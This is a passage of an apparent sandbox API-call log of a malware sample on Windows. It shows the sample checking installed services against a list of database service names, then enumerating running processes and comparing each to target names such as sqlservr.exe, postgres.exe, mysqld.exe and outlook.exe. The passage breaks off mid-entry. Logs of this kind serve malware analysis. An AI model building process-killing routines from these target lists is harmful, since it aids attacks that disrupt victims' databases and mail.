(lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0036.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0036.776] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0036.776] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0036.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0036.776] lstrlenW (lpString="MMCSS") returned 5 [0036.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0036.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0036.776] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0036.776] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0036.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0036.776] lstrlenW (lpString="MpsSvc") returned 6 [0036.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0036.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0036.776] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0036.776] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0036.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0036.776] lstrlenW (lpString="Netman") returned 6 [0036.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0036.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0036.777] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0036.777] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0036.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0036.777] lstrlenW (lpString="netprofm") returned 8 [0036.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0036.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0036.777] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0036.777] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0036.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0036.777] lstrlenW (lpString="NlaSvc") returned 6 [0036.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0036.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0036.777] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0036.777] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0036.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0036.777] lstrlenW (lpString="nsi") returned 3 [0036.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0036.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0036.777] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0036.777] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0036.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0036.777] lstrlenW (lpString="PcaSvc") returned 6 [0036.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0036.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0036.777] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0036.777] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0036.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0036.777] lstrlenW (lpString="PlugPlay") returned 8 [0036.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0036.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0036.777] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0036.777] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0036.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0036.778] lstrlenW (lpString="Power") returned 5 [0036.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0036.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0036.778] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0036.778] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0036.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0036.778] lstrlenW (lpString="ProfSvc") returned 7 [0036.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0036.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0036.778] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0036.778] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0036.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0036.778] lstrlenW (lpString="RpcEptMapper") returned 12 [0036.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.778] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0036.778] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0036.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0036.778] lstrlenW (lpString="RpcSs") returned 5 [0036.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0036.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0036.778] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0036.778] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0036.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0036.778] lstrlenW (lpString="SamSs") returned 5 [0036.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0036.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0036.778] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0036.778] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0036.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0036.778] lstrlenW (lpString="Schedule") returned 8 [0036.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0036.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0036.778] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0036.779] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0036.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0036.779] lstrlenW (lpString="SENS") returned 4 [0036.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0036.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0036.779] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0036.779] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0036.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0036.779] lstrlenW (lpString="ShellHWDetection") returned 16 [0036.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.779] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0036.779] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0036.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0036.779] lstrlenW (lpString="Spooler") returned 7 [0036.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0036.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0036.779] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0036.779] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0036.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0036.779] lstrlenW (lpString="SysMain") returned 7 [0036.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0036.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0036.779] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0036.779] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0036.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0036.779] lstrlenW (lpString="Themes") returned 6 [0036.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0036.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0036.779] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0036.779] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0036.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0036.779] lstrlenW (lpString="TrkWks") returned 6 [0036.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0036.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0036.780] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0036.780] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0036.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0036.780] lstrlenW (lpString="UxSms") returned 5 [0036.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0036.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0036.780] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0036.780] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0036.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0036.780] lstrlenW (lpString="VSS") returned 3 [0036.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0036.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0036.780] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0036.780] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0036.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0036.780] lstrlenW (lpString="WdiServiceHost") returned 14 [0036.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0036.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0036.780] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0036.780] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0036.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0036.780] lstrlenW (lpString="WdiSystemHost") returned 13 [0036.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0036.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0036.780] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0036.780] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0036.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0036.780] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0036.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0036.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0036.780] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0036.780] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0036.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0036.781] lstrlenW (lpString="Winmgmt") returned 7 [0036.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0036.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0036.781] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0036.781] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0036.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0036.781] lstrlenW (lpString="WPDBusEnum") returned 10 [0036.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0036.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0036.781] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0036.781] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0036.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0036.781] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5a1da0 | out: hHeap=0x4b0000) returned 1 [0036.781] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0036.784] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0036.785] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0036.785] lstrlenW (lpString="System") returned 6 [0036.785] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0036.785] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0036.785] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0036.785] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0036.785] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0036.785] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0036.786] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0036.786] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0036.786] lstrlenW (lpString="smss.exe") returned 8 [0036.786] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0036.786] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0036.786] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0036.786] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0036.786] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0036.786] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0036.786] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0036.786] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.787] lstrlenW (lpString="csrss.exe") returned 9 [0036.787] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0036.787] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0036.787] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0036.787] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0036.787] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0036.787] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0036.788] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0036.788] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0036.788] lstrlenW (lpString="wininit.exe") returned 11 [0036.788] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0036.788] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0036.788] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0036.788] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0036.788] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0036.788] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0036.788] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0036.788] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.789] lstrlenW (lpString="csrss.exe") returned 9 [0036.789] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0036.789] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0036.790] lstrlenW (lpString="winlogon.exe") returned 12 [0036.790] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0036.791] lstrlenW (lpString="services.exe") returned 12 [0036.791] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0036.791] lstrlenW (lpString="lsass.exe") returned 9 [0036.791] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0036.792] lstrlenW (lpString="lsm.exe") returned 7 [0036.792] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.793] lstrlenW (lpString="svchost.exe") returned 11 [0036.793] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.793] lstrlenW (lpString="svchost.exe") returned 11 [0036.793] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.794] lstrlenW (lpString="svchost.exe") returned 11 [0036.794] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.795] lstrlenW (lpString="svchost.exe") returned 11 [0036.795] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.795] lstrlenW (lpString="svchost.exe") returned 11 [0036.795] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0036.796] lstrlenW (lpString="audiodg.exe") returned 11 [0036.796] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.797] lstrlenW (lpString="svchost.exe") returned 11 [0036.797] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.797] lstrlenW (lpString="svchost.exe") returned 11 [0036.797] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0036.798] lstrlenW (lpString="dwm.exe") returned 7 [0036.798] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0036.799] lstrlenW (lpString="explorer.exe") returned 12 [0036.799] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0036.799] lstrlenW (lpString="spoolsv.exe") returned 11 [0036.799] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0036.800] lstrlenW (lpString="taskhost.exe") returned 12 [0036.800] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.801] lstrlenW (lpString="svchost.exe") returned 11 [0036.801] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0036.802] lstrlenW (lpString="taskeng.exe") returned 11 [0036.802] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0036.802] lstrlenW (lpString="taskhost.exe") returned 12 [0036.802] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0036.803] lstrlenW (lpString="chem venues.exe") returned 15 [0036.803] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0036.804] lstrlenW (lpString="month.exe") returned 9 [0036.804] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0036.804] lstrlenW (lpString="glasgow.exe") returned 11 [0036.804] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0036.805] lstrlenW (lpString="rubber.exe") returned 10 [0036.805] Process32NextW (in: hSnapshot=0x1b0, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0036.806] lstrlenW 